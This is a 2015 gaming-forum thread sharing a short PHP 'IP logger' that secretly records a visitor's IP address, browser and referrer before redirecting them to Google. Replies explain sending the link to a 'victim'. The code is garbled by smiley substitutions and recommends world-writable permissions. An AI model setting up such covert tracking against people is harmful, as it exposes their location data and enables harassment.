Post: Simple IP Logger
10-18-2015, 07:24 PM #1
Octolus
I defeated!
(adsbygoogle = window.adsbygoogle || []).push({}); This is a really basic IP Logger. It will log the information into a text document. Then redirect the user to Google.

Again, this is not the best way of doing it. Logging to database would be preferred, but sometimes it's not necessary.

You'll log:

  • IP Address.
  • User-Agent
  • Referrer
  • Clock/Time, when you logged the 'victim'.


Example Log:
    
IP Address: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:33

IP Address: 192.168.1.63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:35

IP Address: 192.168.31.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:40

IP Address: 10.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:40


    <?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: https://google.com"); //Define location where user should be redirected once logged.

$logFile = fopen ('logs.txt', 'a+'Winky Winky; //Define file name, to log.. Remember to CHMOD 777!
fwrite($logFile, 'IP Address: '.$_SERVER['REMOTE_ADDR']."
User-Agent: ".$_SERVER['HTTP_USER_AGENT']."
Referer: ".$_SERVER['HTTP_REFERER']."
Log Date/Time: ".date('Y-m-d H:i:s'Winky Winky."

");
?>


Remember to chmod logs.txt, to 777 so we can write IP's to it.
Last edited by Octolus ; 10-18-2015 at 08:05 PM.

The following 5 users say thank you to Octolus for this useful post:

Boliberrys, Kryptus, RTE, Kronos
11-06-2015, 02:03 PM #2
Nice need this here
11-06-2015, 08:45 PM #3
AutoShifts
Save Point
what do i send a link or the text file?
11-06-2015, 09:40 PM #4
JB
[i]Remember, no Russian.[/i]
Originally posted by AutoShifts View Post
what do i send a link or the text file?


You would send a link to the PHP file that you've uploaded to a hosting site.
11-11-2015, 07:13 AM #5
Azus
Little One
Originally posted by Octolus View Post
This is a really basic IP Logger. It will log the information into a text document. Then redirect the user to Google.

Again, this is not the best way of doing it. Logging to database would be preferred, but sometimes it's not necessary.

You'll log:

  • IP Address.
  • User-Agent
  • Referrer
  • Clock/Time, when you logged the 'victim'.


Example Log:
    
IP Address: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:33

IP Address: 192.168.1.63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:35

IP Address: 192.168.31.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:40

IP Address: 10.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.16 Safari/537.36
Referer:
Log Date/Time: 2015-10-18 19:20:40


    <?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: https://google.com"); //Define location where user should be redirected once logged.

$logFile = fopen ('logs.txt', 'a+'Winky Winky; //Define file name, to log.. Remember to CHMOD 777!
fwrite($logFile, 'IP Address: '.$_SERVER['REMOTE_ADDR']."
User-Agent: ".$_SERVER['HTTP_USER_AGENT']."
Referer: ".$_SERVER['HTTP_REFERER']."
Log Date/Time: ".date('Y-m-d H:i:s'Winky Winky."

");
?>


Remember to chmod logs.txt, to 777 so we can write IP's to it.


Super simple, I like it

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo